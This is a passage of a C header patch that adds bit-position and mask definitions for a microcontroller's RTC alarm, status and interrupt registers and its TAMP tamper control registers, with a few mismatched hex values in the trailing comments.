RTC_ALRMBR_SU_3 (0x8UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000008 */ +#define RTC_ALRMBR_ST_Pos (4UL) +#define RTC_ALRMBR_ST_Msk (0x7UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000070 */ +#define RTC_ALRMBR_ST RTC_ALRMBR_ST_Msk +#define RTC_ALRMBR_ST_0 (0x1UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000010 */ +#define RTC_ALRMBR_ST_1 (0x2UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000020 */ +#define RTC_ALRMBR_ST_2 (0x4UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000040 */ +#define RTC_ALRMBR_MSK1_Pos (7UL) +#define RTC_ALRMBR_MSK1_Msk (0x1UL << RTC_ALRMBR_MSK1_Pos) /*!< 0x00000080 */ +#define RTC_ALRMBR_MSK1 RTC_ALRMBR_MSK1_Msk +#define RTC_ALRMBR_MNU_Pos (8UL) +#define RTC_ALRMBR_MNU_Msk (0xFUL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000F00 */ +#define RTC_ALRMBR_MNU RTC_ALRMBR_MNU_Msk +#define RTC_ALRMBR_MNU_0 (0x1UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000100 */ +#define RTC_ALRMBR_MNU_1 (0x2UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000200 */ +#define RTC_ALRMBR_MNU_2 (0x4UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000400 */ +#define RTC_ALRMBR_MNU_3 (0x8UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000800 */ +#define RTC_ALRMBR_MNT_Pos (12UL) +#define RTC_ALRMBR_MNT_Msk (0x7UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00007000 */ +#define RTC_ALRMBR_MNT RTC_ALRMBR_MNT_Msk +#define RTC_ALRMBR_MNT_0 (0x1UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00001000 */ +#define RTC_ALRMBR_MNT_1 (0x2UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00002000 */ +#define RTC_ALRMBR_MNT_2 (0x4UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00004000 */ +#define RTC_ALRMBR_MSK2_Pos (15UL) +#define RTC_ALRMBR_MSK2_Msk (0x1UL << RTC_ALRMBR_MSK2_Pos) /*!< 0x00008000 */ +#define RTC_ALRMBR_MSK2 RTC_ALRMBR_MSK2_Msk +#define RTC_ALRMBR_HU_Pos (16UL) +#define RTC_ALRMBR_HU_Msk (0xFUL << RTC_ALRMBR_HU_Pos) /*!< 0x000F0000 */ +#define RTC_ALRMBR_HU RTC_ALRMBR_HU_Msk +#define RTC_ALRMBR_HU_0 (0x1UL << RTC_ALRMBR_HU_Pos) /*!< 0x00010000 */ +#define RTC_ALRMBR_HU_1 (0x2UL << RTC_ALRMBR_HU_Pos) /*!< 0x00020000 */ +#define RTC_ALRMBR_HU_2 (0x4UL << RTC_ALRMBR_HU_Pos) /*!< 0x00040000 */ +#define RTC_ALRMBR_HU_3 (0x8UL << RTC_ALRMBR_HU_Pos) /*!< 0x00080000 */ +#define RTC_ALRMBR_HT_Pos (20UL) +#define RTC_ALRMBR_HT_Msk (0x3UL << RTC_ALRMBR_HT_Pos) /*!< 0x00300000 */ +#define RTC_ALRMBR_HT RTC_ALRMBR_HT_Msk +#define RTC_ALRMBR_HT_0 (0x1UL << RTC_ALRMBR_HT_Pos) /*!< 0x00100000 */ +#define RTC_ALRMBR_HT_1 (0x2UL << RTC_ALRMBR_HT_Pos) /*!< 0x00200000 */ +#define RTC_ALRMBR_PM_Pos (22UL) +#define RTC_ALRMBR_PM_Msk (0x1UL << RTC_ALRMBR_PM_Pos) /*!< 0x00400000 */ +#define RTC_ALRMBR_PM RTC_ALRMBR_PM_Msk +#define RTC_ALRMBR_MSK3_Pos (23UL) +#define RTC_ALRMBR_MSK3_Msk (0x1UL << RTC_ALRMBR_MSK3_Pos) /*!< 0x00800000 */ +#define RTC_ALRMBR_MSK3 RTC_ALRMBR_MSK3_Msk +#define RTC_ALRMBR_DU_Pos (24UL) +#define RTC_ALRMBR_DU_Msk (0xFUL << RTC_ALRMBR_DU_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMBR_DU RTC_ALRMBR_DU_Msk +#define RTC_ALRMBR_DU_0 (0x1UL << RTC_ALRMBR_DU_Pos) /*!< 0x01000000 */ +#define RTC_ALRMBR_DU_1 (0x2UL << RTC_ALRMBR_DU_Pos) /*!< 0x02000000 */ +#define RTC_ALRMBR_DU_2 (0x4UL << RTC_ALRMBR_DU_Pos) /*!< 0x04000000 */ +#define RTC_ALRMBR_DU_3 (0x8UL << RTC_ALRMBR_DU_Pos) /*!< 0x08000000 */ +#define RTC_ALRMBR_DT_Pos (28UL) +#define RTC_ALRMBR_DT_Msk (0x3UL << RTC_ALRMBR_DT_Pos) /*!< 0x30000000 */ +#define RTC_ALRMBR_DT RTC_ALRMBR_DT_Msk +#define RTC_ALRMBR_DT_0 (0x1UL << RTC_ALRMBR_DT_Pos) /*!< 0x10000000 */ +#define RTC_ALRMBR_DT_1 (0x2UL << RTC_ALRMBR_DT_Pos) /*!< 0x20000000 */ +#define RTC_ALRMBR_WDSEL_Pos (30UL) +#define RTC_ALRMBR_WDSEL_Msk (0x1UL << RTC_ALRMBR_WDSEL_Pos) /*!< 0x40000000 */ +#define RTC_ALRMBR_WDSEL RTC_ALRMBR_WDSEL_Msk +#define RTC_ALRMBR_MSK4_Pos (31UL) +#define RTC_ALRMBR_MSK4_Msk (0x1UL << RTC_ALRMBR_MSK4_Pos) /*!< 0x80000000 */ +#define RTC_ALRMBR_MSK4 RTC_ALRMBR_MSK4_Msk + +/******************** Bits definition for RTC_ALRMBSSR register *************/ +#define RTC_ALRMBSSR_SS_Pos (0UL) +#define RTC_ALRMBSSR_SS_Msk (0x7FFFUL << RTC_ALRMBSSR_SS_Pos) /*!< 0x00007FFF */ +#define RTC_ALRMBSSR_SS RTC_ALRMBSSR_SS_Msk +#define RTC_ALRMBSSR_MASKSS_Pos (24UL) +#define RTC_ALRMBSSR_MASKSS_Msk (0xFUL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMBSSR_MASKSS RTC_ALRMBSSR_MASKSS_Msk +#define RTC_ALRMBSSR_MASKSS_0 (0x1UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x01000000 */ +#define RTC_ALRMBSSR_MASKSS_1 (0x2UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x02000000 */ +#define RTC_ALRMBSSR_MASKSS_2 (0x4UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x04000000 */ +#define RTC_ALRMBSSR_MASKSS_3 (0x8UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x08000000 */ +#define RTC_ALRMBSSR_SSCLR_Pos (31UL) +#define RTC_ALRMBSSR_SSCLR_Msk (0x1UL << RTC_ALRMBSSR_SSCLR_Pos) /*!< 0x80000000 */ +#define RTC_ALRMBSSR_SSCLR RTC_ALRMBSSR_SSCLR_Msk + +/******************** Bits definition for RTC_SR register *******************/ +#define RTC_SR_ALRAF_Pos (0UL) +#define RTC_SR_ALRAF_Msk (0x1UL << RTC_SR_ALRAF_Pos) /*!< 0x00000001 */ +#define RTC_SR_ALRAF RTC_SR_ALRAF_Msk +#define RTC_SR_ALRBF_Pos (1UL) +#define RTC_SR_ALRBF_Msk (0x1UL << RTC_SR_ALRBF_Pos) /*!< 0x00000002 */ +#define RTC_SR_ALRBF RTC_SR_ALRBF_Msk +#define RTC_SR_WUTF_Pos (2UL) +#define RTC_SR_WUTF_Msk (0x1UL << RTC_SR_WUTF_Pos) /*!< 0x00000004 */ +#define RTC_SR_WUTF RTC_SR_WUTF_Msk +#define RTC_SR_TSF_Pos (3UL) +#define RTC_SR_TSF_Msk (0x1UL << RTC_SR_TSF_Pos) /*!< 0x00000008 */ +#define RTC_SR_TSF RTC_SR_TSF_Msk +#define RTC_SR_TSOVF_Pos (4UL) +#define RTC_SR_TSOVF_Msk (0x1UL << RTC_SR_TSOVF_Pos) /*!< 0x00000010 */ +#define RTC_SR_TSOVF RTC_SR_TSOVF_Msk +#define RTC_SR_ITSF_Pos (5UL) +#define RTC_SR_ITSF_Msk (0x1UL << RTC_SR_ITSF_Pos) /*!< 0x00000020 */ +#define RTC_SR_ITSF RTC_SR_ITSF_Msk +#define RTC_SR_SSRUF_Pos (6UL) +#define RTC_SR_SSRUF_Msk (0x1UL << RTC_SR_SSRUF_Pos) /*!< 0x00000040 */ +#define RTC_SR_SSRUF RTC_SR_SSRUF_Msk + +/******************** Bits definition for RTC_MISR register *****************/ +#define RTC_MISR_ALRAMF_Pos (0UL) +#define RTC_MISR_ALRAMF_Msk (0x1UL << RTC_MISR_ALRAMF_Pos) /*!< 0x00000001 */ +#define RTC_MISR_ALRAMF RTC_MISR_ALRAMF_Msk +#define RTC_MISR_ALRBMF_Pos (1UL) +#define RTC_MISR_ALRBMF_Msk (0x1UL << RTC_MISR_ALRBMF_Pos) /*!< 0x00000002 */ +#define RTC_MISR_ALRBMF RTC_MISR_ALRBMF_Msk +#define RTC_MISR_WUTMF_Pos (2UL) +#define RTC_MISR_WUTMF_Msk (0x1UL << RTC_MISR_WUTMF_Pos) /*!< 0x00000004 */ +#define RTC_MISR_WUTMF RTC_MISR_WUTMF_Msk +#define RTC_MISR_TSMF_Pos (3UL) +#define RTC_MISR_TSMF_Msk (0x1UL << RTC_MISR_TSMF_Pos) /*!< 0x00000008 */ +#define RTC_MISR_TSMF RTC_MISR_TSMF_Msk +#define RTC_MISR_TSOVMF_Pos (4UL) +#define RTC_MISR_TSOVMF_Msk (0x1UL << RTC_MISR_TSOVMF_Pos) /*!< 0x00000010 */ +#define RTC_MISR_TSOVMF RTC_MISR_TSOVMF_Msk +#define RTC_MISR_ITSMF_Pos (5UL) +#define RTC_MISR_ITSMF_Msk (0x1UL << RTC_MISR_ITSMF_Pos) /*!< 0x00000020 */ +#define RTC_MISR_ITSMF RTC_MISR_ITSMF_Msk +#define RTC_MISR_SSRUMF_Pos (6UL) +#define RTC_MISR_SSRUMF_Msk (0x1UL << RTC_MISR_SSRUMF_Pos) /*!< 0x00000040 */ +#define RTC_MISR_SSRUMF RTC_MISR_SSRUMF_Msk + +/******************** Bits definition for RTC_SMISR register *****************/ +#define RTC_SMISR_ALRAMF_Pos (0UL) +#define RTC_SMISR_ALRAMF_Msk (0x1UL << RTC_SMISR_ALRAMF_Pos) /*!< 0x00000001 */ +#define RTC_SMISR_ALRAMF RTC_SMISR_ALRAMF_Msk +#define RTC_SMISR_ALRBMF_Pos (1UL) +#define RTC_SMISR_ALRBMF_Msk (0x1UL << RTC_SMISR_ALRBMF_Pos) /*!< 0x00000002 */ +#define RTC_SMISR_ALRBMF RTC_SMISR_ALRBMF_Msk +#define RTC_SMISR_WUTMF_Pos (2UL) +#define RTC_SMISR_WUTMF_Msk (0x1UL << RTC_SMISR_WUTMF_Pos) /*!< 0x00000004 */ +#define RTC_SMISR_WUTMF RTC_SMISR_WUTMF_Msk +#define RTC_SMISR_TSMF_Pos (3UL) +#define RTC_SMISR_TSMF_Msk (0x1UL << RTC_SMISR_TSMF_Pos) /*!< 0x00000008 */ +#define RTC_SMISR_TSMF RTC_SMISR_TSMF_Msk +#define RTC_SMISR_TSOVMF_Pos (4UL) +#define RTC_SMISR_TSOVMF_Msk (0x1UL << RTC_SMISR_TSOVMF_Pos) /*!< 0x00000010 */ +#define RTC_SMISR_TSOVMF RTC_SMISR_TSOVMF_Msk +#define RTC_SMISR_ITSMF_Pos (5UL) +#define RTC_SMISR_ITSMF_Msk (0x1UL << RTC_SMISR_ITSMF_Pos) /*!< 0x00000020 */ +#define RTC_SMISR_ITSMF RTC_SMISR_ITSMF_Msk +#define RTC_SMISR_SSRUMF_Pos (6UL) +#define RTC_SMISR_SSRUMF_Msk (0x1UL << RTC_SMISR_SSRUMF_Pos) /*!< 0x00000040 */ +#define RTC_SMISR_SSRUMF RTC_SMISR_SSRUMF_Msk + +/******************** Bits definition for RTC_SCR register ******************/ +#define RTC_SCR_CALRAF_Pos (0UL) +#define RTC_SCR_CALRAF_Msk (0x1UL << RTC_SCR_CALRAF_Pos) /*!< 0x00000001 */ +#define RTC_SCR_CALRAF RTC_SCR_CALRAF_Msk +#define RTC_SCR_CALRBF_Pos (1UL) +#define RTC_SCR_CALRBF_Msk (0x1UL << RTC_SCR_CALRBF_Pos) /*!< 0x00000002 */ +#define RTC_SCR_CALRBF RTC_SCR_CALRBF_Msk +#define RTC_SCR_CWUTF_Pos (2UL) +#define RTC_SCR_CWUTF_Msk (0x1UL << RTC_SCR_CWUTF_Pos) /*!< 0x00000004 */ +#define RTC_SCR_CWUTF RTC_SCR_CWUTF_Msk +#define RTC_SCR_CTSF_Pos (3UL) +#define RTC_SCR_CTSF_Msk (0x1UL << RTC_SCR_CTSF_Pos) /*!< 0x00000008 */ +#define RTC_SCR_CTSF RTC_SCR_CTSF_Msk +#define RTC_SCR_CTSOVF_Pos (4UL) +#define RTC_SCR_CTSOVF_Msk (0x1UL << RTC_SCR_CTSOVF_Pos) /*!< 0x00000010 */ +#define RTC_SCR_CTSOVF RTC_SCR_CTSOVF_Msk +#define RTC_SCR_CITSF_Pos (5UL) +#define RTC_SCR_CITSF_Msk (0x1UL << RTC_SCR_CITSF_Pos) /*!< 0x00000020 */ +#define RTC_SCR_CITSF RTC_SCR_CITSF_Msk +#define RTC_SCR_CSSRUF_Pos (6UL) +#define RTC_SCR_CSSRUF_Msk (0x1UL << RTC_SCR_CSSRUF_Pos) /*!< 0x00000040 */ +#define RTC_SCR_CSSRUF RTC_SCR_CSSRUF_Msk + +/******************** Bits definition for RTC_ALRABINR register ******************/ +#define RTC_ALRABINR_SS_Pos (0UL) +#define RTC_ALRABINR_SS_Msk (0xFFFFFFFFUL << RTC_ALRABINR_SS_Pos) /*!< 0xFFFFFFFF */ +#define RTC_ALRABINR_SS RTC_ALRABINR_SS_Msk + +/******************** Bits definition for RTC_ALRBBINR register ******************/ +#define RTC_ALRBBINR_SS_Pos (0UL) +#define RTC_ALRBBINR_SS_Msk (0xFFFFFFFFUL << RTC_ALRBBINR_SS_Pos) /*!< 0xFFFFFFFF */ +#define RTC_ALRBBINR_SS RTC_ALRBBINR_SS_Msk + +/******************************************************************************/ +/* */ +/* Tamper and backup register (TAMP) */ +/* */ +/******************************************************************************/ +/******************** Bits definition for TAMP_CR1 register *****************/ +#define TAMP_CR1_TAMP1E_Pos (0UL) +#define TAMP_CR1_TAMP1E_Msk (0x1UL << TAMP_CR1_TAMP1E_Pos) /*!< 0x00000001 */ +#define TAMP_CR1_TAMP1E TAMP_CR1_TAMP1E_Msk +#define TAMP_CR1_TAMP2E_Pos (1UL) +#define TAMP_CR1_TAMP2E_Msk (0x1UL << TAMP_CR1_TAMP2E_Pos) /*!< 0x00000002 */ +#define TAMP_CR1_TAMP2E TAMP_CR1_TAMP2E_Msk +#define TAMP_CR1_TAMP3E_Pos (2UL) +#define TAMP_CR1_TAMP3E_Msk (0x1UL << TAMP_CR1_TAMP3E_Pos) /*!< 0x00000004 */ +#define TAMP_CR1_TAMP3E TAMP_CR1_TAMP3E_Msk +#define TAMP_CR1_TAMP4E_Pos (3UL) +#define TAMP_CR1_TAMP4E_Msk (0x1UL << TAMP_CR1_TAMP4E_Pos) /*!< 0x00000008 */ +#define TAMP_CR1_TAMP4E TAMP_CR1_TAMP4E_Msk +#define TAMP_CR1_TAMP5E_Pos (4UL) +#define TAMP_CR1_TAMP5E_Msk (0x1UL << TAMP_CR1_TAMP5E_Pos) /*!< 0x00000010 */ +#define TAMP_CR1_TAMP5E TAMP_CR1_TAMP5E_Msk +#define TAMP_CR1_TAMP6E_Pos (5UL) +#define TAMP_CR1_TAMP6E_Msk (0x1UL << TAMP_CR1_TAMP6E_Pos) /*!< 0x00000020 */ +#define TAMP_CR1_TAMP6E TAMP_CR1_TAMP6E_Msk +#define TAMP_CR1_TAMP7E_Pos (6UL) +#define TAMP_CR1_TAMP7E_Msk (0x1UL << TAMP_CR1_TAMP7E_Pos) /*!< 0x00000040 */ +#define TAMP_CR1_TAMP7E TAMP_CR1_TAMP7E_Msk +#define TAMP_CR1_TAMP8E_Pos (7UL) +#define TAMP_CR1_TAMP8E_Msk (0x1UL << TAMP_CR1_TAMP8E_Pos) /*!< 0x00000080 */ +#define TAMP_CR1_TAMP8E TAMP_CR1_TAMP8E_Msk +#define TAMP_CR1_ITAMP1E_Pos (16UL) +#define TAMP_CR1_ITAMP1E_Msk (0x1UL << TAMP_CR1_ITAMP1E_Pos) /*!< 0x00010000 */ +#define TAMP_CR1_ITAMP1E TAMP_CR1_ITAMP1E_Msk +#define TAMP_CR1_ITAMP2E_Pos (17UL) +#define TAMP_CR1_ITAMP2E_Msk (0x1UL << TAMP_CR1_ITAMP2E_Pos) /*!< 0x00040000 */ +#define TAMP_CR1_ITAMP2E TAMP_CR1_ITAMP2E_Msk +#define TAMP_CR1_ITAMP3E_Pos (18UL) +#define TAMP_CR1_ITAMP3E_Msk (0x1UL << TAMP_CR1_ITAMP3E_Pos) /*!< 0x00040000 */ +#define TAMP_CR1_ITAMP3E TAMP_CR1_ITAMP3E_Msk +#define TAMP_CR1_ITAMP5E_Pos (20UL) +#define TAMP_CR1_ITAMP5E_Msk (0x1UL << TAMP_CR1_ITAMP5E_Pos) /*!< 0x00100000 */ +#define TAMP_CR1_ITAMP5E TAMP_CR1_ITAMP5E_Msk +#define TAMP_CR1_ITAMP6E_Pos (21UL) +#define TAMP_CR1_ITAMP6E_Msk (0x1UL << TAMP_CR1_ITAMP6E_Pos) /*!< 0x00200000 */ +#define TAMP_CR1_ITAMP6E TAMP_CR1_ITAMP6E_Msk +#define TAMP_CR1_ITAMP7E_Pos (22UL) +#define TAMP_CR1_ITAMP7E_Msk (0x1UL << TAMP_CR1_ITAMP7E_Pos) /*!< 0x00400000 */ +#define TAMP_CR1_ITAMP7E TAMP_CR1_ITAMP7E_Msk +#define TAMP_CR1_ITAMP8E_Pos (23UL) +#define TAMP_CR1_ITAMP8E_Msk (0x1UL << TAMP_CR1_ITAMP8E_Pos) /*!< 0x00800000 */ +#define TAMP_CR1_ITAMP8E TAMP_CR1_ITAMP8E_Msk +#define TAMP_CR1_ITAMP9E_Pos (24UL) +#define TAMP_CR1_ITAMP9E_Msk (0x1UL << TAMP_CR1_ITAMP9E_Pos) /*!< 0x01000000 */ +#define TAMP_CR1_ITAMP9E TAMP_CR1_ITAMP9E_Msk +#define TAMP_CR1_ITAMP11E_Pos (26UL) +#define TAMP_CR1_ITAMP11E_Msk (0x1UL << TAMP_CR1_ITAMP11E_Pos) /*!< 0x04000000 */ +#define TAMP_CR1_ITAMP11E TAMP_CR1_ITAMP11E_Msk +#define TAMP_CR1_ITAMP12E_Pos (27UL) +#define TAMP_CR1_ITAMP12E_Msk (0x1UL << TAMP_CR1_ITAMP12E_Pos) /*!< 0x04000000 */ +#define TAMP_CR1_ITAMP12E TAMP_CR1_ITAMP12E_Msk +#define TAMP_CR1_ITAMP13E_Pos (28UL) +#define TAMP_CR1_ITAMP13E_Msk (0x1UL << TAMP_CR1_ITAMP13E_Pos) /*!< 0x04000000 */ +#define TAMP_CR1_ITAMP13E TAMP_CR1_ITAMP13E_Msk + +/******************** Bits definition for TAMP_CR2 register *****************/ +#define TAMP_CR2_TAMP1NOERASE_Pos (0UL) +#define TAMP_CR2_TAMP1NOERASE_Msk (0x1UL << TAMP_CR2_TAMP1NOERASE_Pos) /*!< 0x00000001 */ +#define TAMP_CR2_TAMP1NOERASE TAMP_CR2_TAMP1NOERASE_Msk +#define TAMP_CR2_TAMP2NOERASE_Pos (1UL) +#define TAMP_CR2_TAMP2NOERASE_Msk (0x1UL << TAMP_CR2_TAMP2NOERASE_Pos) /*!< 0x00000002 */ +#define TAMP_CR2_TAMP2NOERASE TAMP_CR2_TAMP2NOERASE_Msk +#define TAMP_CR2_TAMP3NOERASE_Pos (2UL) +#define TAMP_CR2_TAMP3NOERASE_Msk (0x1UL << TAMP_CR2_TAMP3NOERASE_Pos) /*!< 0x00000004 */ +#define TAMP_CR2_TAMP3NOERASE TAMP_CR2_TAMP3NOERASE_Msk +#define TAMP_CR2_TAMP4NOERASE_Pos (3UL) +#define TAMP_CR2_TAMP4NOERASE_Msk (0x1UL << TAMP_CR2_TAMP4NOERASE_Pos) /*!< 0x00000008 */ +#define TAMP_CR2_TAMP4NOERASE TAMP_CR2_TAMP4NOERASE_Msk +#define TAMP_CR2_TAMP5NOERASE_Pos (4UL) +#define TAMP_CR2_TAMP5NOERASE_Msk (0x1UL << TAMP_CR2_TAMP5NOERASE_Pos) /*!< 0x00000010 */ +#define TAMP_CR2_TAMP5NOERASE TAMP_CR2_TAMP5NOERASE_Msk +#define TAMP_CR2_TAMP6NOERASE_Pos (5UL) +#define TAMP_CR2_TAMP6NOERASE_Msk (0x1UL << TAMP_CR2_TAMP6NOERASE_Pos) /*!< 0x00000020 */ +#define TAMP_CR2_TAMP6NOERASE TAMP_CR2_TAMP6NOERASE_Msk +#define TAMP_CR2_TAMP7NOERASE_Pos (6UL) +#define TAMP_CR2_TAMP7NOERASE_Msk (0x1UL << TAMP_CR2_TAMP7NOERASE_Pos) /*!< 0x00000040 */ +#define TAMP_CR2_TAMP7NOERASE TAMP_CR2_TAMP7NOERASE_Msk +#define TAMP_CR2_TAMP8NOERASE_Pos (7UL) +#define TAMP_CR2_TAMP8NOERASE_Msk (0x1UL << TAMP_CR2_TAMP8NOERASE_Pos) /*!< 0x00000080 */ +#define TAMP_CR2_TAMP8NOERASE TAMP_CR2_TAMP8NOERASE_Msk +#define TAMP_CR2_TAMP1MSK_Pos (16UL) +#define TAMP_CR2_TAMP1MSK_Msk (0x1UL << TAMP_CR2_TAMP1MSK_Pos) /*!< 0x00010000 */ +#define TAMP_CR2_TAMP1MSK TAMP_CR2_TAMP1MSK_Msk +#define TAMP_CR2_TAMP2MSK_Pos (17UL) +#define TAMP_CR2_TAMP2MSK_Msk (0x1UL << TAMP_CR2_TAMP2MSK_Pos) /*!< 0x00020000 */ +#define TAMP_CR2_TAMP2MSK TAMP_CR2_TAMP2MSK_Msk +#define TAMP_CR2_TAMP3MSK_Pos (18UL) +#define TAMP_CR2_TAMP3MSK_Msk (0x1UL << TAMP_CR2_TAMP3MSK_Pos) /*!< 0x00040000 */ +#define TAMP_CR2_TAMP3MSK TAMP_CR2_TAMP3MSK_Msk +#define TAMP_CR2_BKBLOCK_Pos (22UL) +#define TAMP_CR2_BKBLOCK_Msk (0x1UL << TAMP_CR2_BKBLOCK_Pos) /*!< 0x00800000 */ +#define TAMP_CR2_BKBLOCK TAMP_CR2_BKBLOCK_Msk +#define TAMP_CR2_BKERASE_Pos (23UL) +#define TAMP_CR2_BKERASE_Msk (0x1UL << TAMP_CR2_BKERASE_Pos) /*!< 0x00800000 */ +#define TAMP_CR2_BKERASE TAMP_CR2_BKERASE_Msk +#define TAMP_CR2_TAMP1TRG_Pos (24UL) +#define TAMP_CR2_TAMP1TRG_Msk (0x1UL << TAMP_CR2_TAMP1TRG_Pos) /*!< 0x01000000 */ +#define TAMP_CR2_TAMP1TRG TAMP_CR2_TAMP1TRG_Msk +#define TAMP_CR2_TAMP2TRG_Pos (25UL) +#define TAMP_CR2_TAMP2TRG_Msk (0x1UL << TAMP_CR2_TAMP2TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP2TRG TAMP_CR2_TAMP2TRG_Msk +#define TAMP_CR2_TAMP3TRG_Pos (26UL) +#define TAMP_CR2_TAMP3TRG_Msk (0x1UL << TAMP_CR2_TAMP3TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP3TRG TAMP_CR2_TAMP3TRG_Msk +#define TAMP_CR2_TAMP4TRG_Pos (27UL) +#define TAMP_CR2_TAMP4TRG_Msk (0x1UL << TAMP_CR2_TAMP4TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP4TRG TAMP_CR2_TAMP4TRG_Msk +#define TAMP_CR2_TAMP5TRG_Pos (28UL) +#define TAMP_CR2_TAMP5TRG_Msk (0x1UL << TAMP_CR2_TAMP5TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP5TRG TAMP_CR2_TAMP5TRG_Msk +#define TAMP_CR2_TAMP6TRG_Pos (29UL) +#define TAMP_CR2_TAMP6TRG_Msk (0x1UL << TAMP_CR2_TAMP6TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP6TRG TAMP_CR2_TAMP6TRG_Msk +#define TAMP_CR2_TAMP7TRG_Pos (30UL) +#define TAMP_CR2_TAMP7TRG_Msk (0x1UL << TAMP_CR2_TAMP7TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP7TRG TAMP_CR2_TAMP7TRG_Msk +#define TAMP_CR2_TAMP8TRG_Pos (31UL) +#define TAMP_CR2_TAMP8TRG_Msk (0x1UL << TAMP_CR2_TAMP8TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP8TRG TAMP_CR2_TAMP8TRG_Msk + +/******************** Bits definition for TAMP_CR3 register *****************/ +#define TAMP_CR3_ITAMP1NOER_Pos (0UL) +#define TAMP_CR3_ITAMP1NOER_Msk (0x1UL << TAMP_CR3_ITAMP1NOER_Pos) /*!< 0x00000001 */ +#define TAMP_CR3_ITAMP1NOER TAMP_CR3_ITAMP1NOER_Msk +#define TAMP_CR3_ITAMP2NOER_Pos (1UL) +#define TAMP_CR3_ITAMP2NOER_Msk (0x1UL << TAMP_CR3_ITAMP2NOER_Pos) /*!< 0x00000002 */ +#define TAMP_CR3_ITAMP2NOER TAMP_CR3_ITAMP2NOER_Msk +#define TAMP_CR3_ITAMP3NOER_Pos (2UL) +#define TAMP_CR3_ITAMP3NOER_Msk (0x1UL << TAMP_CR3_ITAMP3NOER_Pos) /*!< 0x00000004 */ +#define TAMP_CR3_ITAMP3NOER TAMP_CR3_ITAMP3NOER_Msk +#define TAMP_CR3_ITAMP5NOER_Pos (4UL) +#define TAMP_CR3_ITAMP5NOER_Msk (0x1UL << TAMP_CR3_ITAMP5NOER_Pos) /*!< 0x00000010 */ +#define TAMP_CR3_ITAMP5NOER TAMP_CR3_ITAMP5NOER_Msk +#define TAMP_CR3_ITAMP6NOER_Pos (5UL) +#define TAMP_CR3_ITAMP6NOER_Msk (0x1UL << TAMP_CR3_ITAMP6NOER_Pos) /*!< 0x00000020 */ +#define TAMP_CR3_ITAMP6NOER TAMP_CR3_ITAMP6NOER_Msk +#define TAMP_CR3_ITAMP7NOER_Pos (6UL) +#define TAMP_CR3_ITAMP7NOER_Msk (0x1UL << TAMP_CR3_ITAMP7NOER_Pos) +#define TAMP_CR3_ITAMP7NOER TAMP_CR3_ITAMP7NOER_Msk +#define TAMP_CR3_ITAMP8NOER_Pos (7UL) +#define TAMP_CR3_ITAMP8NOER_Msk (0x1UL << TAMP_CR3_ITAMP8NOER_Pos) /*!< 0x00000040 */ +#define TAMP_CR3_ITAMP8NOER TAMP_CR3_ITAMP8NOER_Msk +#define TAMP_CR3_ITAMP9NOER_Pos (8UL) +#define TAMP_CR3_ITAMP9NOER_Msk (0x1UL << TAMP_CR3_ITAMP9NOER_Pos) /*!< 0x00000100 */ +#define TAMP_CR3_ITAMP9NOER TAMP_CR3_ITAMP9NOER_Msk +#define TAMP_CR3_ITAMP11NOER_Pos (10UL) +#define TAMP_CR3_ITAMP11NOER_Msk (0x1UL << TAMP_CR3_ITAMP11NOER_Pos) /*!< 0x00000800 */ +#define TAMP_CR3_ITAMP11NOER TAMP_CR3_ITAMP11NOER_Msk +#define TAMP_CR3_ITAMP12NOER_Pos (11UL) +#define TAMP_CR3_ITAMP12NOER_Msk (0x1UL << TAMP_CR3_ITAMP12NOER_Pos) /*!< 0x00000800 */ +#define TAMP_CR3_ITAMP12NOER TAMP_CR3_ITAMP12NOER_Msk +#define TAMP_CR3_ITAMP13NOER_Pos (12UL) +#define TAMP_CR3_ITAMP13NOER_Msk (0x1UL << TAMP_CR3_ITAMP13NOER_Pos) /*!< 0x00000800 */ +#define TAMP_CR3_ITAMP13NOER TAMP_CR3_ITAMP13NOER_Msk + +/******************** Bits definition for TAMP_FLTCR register ***************/ +#define TAMP_FLTCR_TAMPFREQ_Pos (0UL) +#define TAMP_FLTCR_TAMPFREQ_Msk (0x7UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000007 */ +#define TAMP_FLTCR_TAMPFREQ TAMP_FLTCR_TAMPFREQ_Msk +#define TAMP_FLTCR_TAMPFREQ_0 (0x1UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000001 */ +#define TAMP_FLTCR_TAMPFREQ_1 (0x2UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000002 */ +#define TAMP_FLTCR_TAMPFREQ_2 (0x4UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000004 */ +#define TAMP_FLTCR_TAMPFLT_Pos (3UL) +#define TAMP_FLTCR_TAMPFLT_Msk (0x3UL << TAMP_FLTCR_TAMPFLT_Pos) /*!< 0x00000018 */ +#define TAMP_FLTCR_TAMPFLT TAMP_FLTCR_TAMPFLT_Msk +#define TAMP_FLTCR_TAMPFLT_0 (0x1UL << TAMP_FLTCR_TAMPFLT_Pos) /*!< 0x00000008 */ +#define TAMP_FLTCR_TAMPFLT_1 (0x2UL << TAMP_FLTCR_TAMPFLT_Pos) /*!< 0x00000010 */ +#define 